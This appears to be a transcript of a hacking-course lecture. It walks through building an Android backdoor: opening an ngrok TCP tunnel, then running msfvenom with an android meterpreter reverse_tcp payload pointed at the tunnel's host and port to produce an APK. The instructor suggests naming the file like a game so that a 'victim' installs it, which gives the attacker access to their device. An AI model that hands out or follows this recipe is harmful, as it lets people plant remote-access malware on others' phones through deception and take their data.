‫-: Hi, within this lecture
‫we are going to be finally ready
‫to create our backdoor for Android devices
‫using this tunneling services.
‫So if you go to documentation of this ngrok.com
‫you will see a lot of usages
‫and a lot of comments that you can use, you can leverage,
‫in your own environment.
‫As you can see, in order to create some kind of connection,
‫all you have to do is just specify the connection type
‫and the connection port that you want to use.
‫I'm going to show you what you can do
‫or what you have to do in order to make this work.
‫Don't worry but if you want to use ngrok
‫for some other spatial occasions later on
‫make sure you read this documentation
‫because it's very useful actually.
‫For example, in here, they're trying to expose
‫a web server on port 80
‫of your local machine to the internet
‫And that is what we have seen in the previous lecture
‫when we try to start the web service of Apache.
‫But that's not what we are going to do right now.
‫We are going to use this for sending the connection
‫from the Android to the ngrok.
‫So in order to do that,
‫of course we are going to use the same thing.
‫I'm in my downloads folder one more time in my terminal
‫and I'm writing ./ngrok TCP and a port number.
‫So maybe you can think something like that.
‫Yeah, you're talking about port a lot of times
‫during this training, but you didn't explain
‫what a port is and you're correct.
‫So we are sending some requests and getting responses
‫when we deal with internet operations in our daily life.
‫So every connection like going to google.com
‫or receiving that connection from Android phone
‫requires some sort of a gate,
‫some sort of a port to be processed on.
‫So every connection uses its own specified gate,
‫like 80 for HTTP requests or I don't know,
‫22 for SSH requests and for mail requests
‫we have a lot of different port
‫for some kind of other special services,
‫special connections, we have other ports.
‫So we have some respective gates, respective port
‫for different kind of connections.
‫And firewalls actually try to observe these gates,
‫observe this port, so that they won't be left open
‫for any kind of incoming malicious connection.
‫Okay? So we are going to use a port
‫that no one else is using.
‫Something like 4242 or any other thing like 5555.
‫And if it doesn't work for you for some reason
‫you may choose to use another port.
‫For example, I'm going to write 4242 over here
‫and since we do not have any kind of firewall
‫in our Kali Linux, it should work fine.
‫So I'm going to hit enter, and as you can see
‫it started to work and we are not going to come across
‫with kind of firewalls in Android as well.
‫So most of the time this 4242 will work out for you
‫but if it doesn't, just try 5555 or 6666 okay?
‫So as you can see, it's now started
‫and it's some kind of doing a forwarding operation
‫which is what we are looking for.
‫As you can see, we are forwarding this tcp.ngrok.io
‫with this port to our localhost.
‫So this address and this port
‫would be different for you, maybe different for you.
‫I have 17197 over here and in the localhost, of course
‫we have our specified port over here, like 4242.
‫But this will change for you.
‫But we are going to use this.
‫So I'm going to use this as a localhost
‫and a local port in my MSFvenom. Because why?
‫Because remember we want to direct the connection
‫from the Android phone to the ngrok
‫and then later on from the ngrok to our own localhost
‫to our own Kali Linux machine using this service.
‫So that is exactly what we are doing right now.
‫So what I'm going to do, I'm going to give this
‫as an input to L host and give the port
‫as an input to the output in my MSFvenom.
‫So you have to do exactly the same in order to succeed.
‫So this would be different for you
‫even the address would be different for you.
‫So make sure you copy your own, not mine.
‫So over here I'm going to use this
‫and I'm going to use 1797 as a port
‫and this will receive the information
‫and forward it to me once it comes.
‫So don't close this down
‫just open a new tab from the file and say new tab, okay?
‫Because if you close it down, the service will stop.
‫So open a new tab and write the MSFvenom code comment
‫that we have written before.
‫So as a payload parameter, I'm going to specify
‫Android meterpreter and then reverse TCP, okay?
‫The reverse_TCP.
‫And then later on we have to specify the L host
‫and say equal to,
‫and this will be equal to the 0.tcp.ngrok.io I believe.
‫And the L port will be 17197.
‫So I'm just going to copy and paste those.
‫0.tcp.ngrok.io so it's easy, I can write that
‫without forgetting I suppose 0.tcp.ngrok.io
‫and then our port will be 17, let me see it, yeah, 17197.
‫So 17197.
‫Here we go, now we are okay.
‫And then we specify where to put this payload,
‫where to put this APK file
‫that we have been trying to create.
‫In order to do that, you can just write the results
‫like -R and specify the folder that you want to put it,
‫so that you can access it easily and you can forward it.
‫So I'm going to say R, okay, with a capital R
‫and say this greater sign, it means that
‫just write the result into this folder, into this location.
‫Okay? So R > /root/downloads or documents
‫or any other folder that you may want to put this.
‫So I'm going to say ngroktest.apk
‫and I'm going to put it inside of my root folder directly.
‫Of course, you are more than welcome
‫to use another name for your APK,
‫but don't forget to specify that APK extension
‫at the end of this.
‫I'm just going to call this test
‫because we are testing it, okay?
‫In real life example, it would be something like
‫game.apk or I don't know, supercoolapplication.apk
‫'cause you are going to send it to victim next.
‫So here you go, I believe it's now created for us.
‫Let me minimize this and let me go to root folder.
‫And here we go, we see the ngroktest.apk.
‫So this is the exact file
‫that we are going to send to the victim.
‫And once the victim installs this
‫we're going to get access to their own device.
‫Let's do that in the next lecture.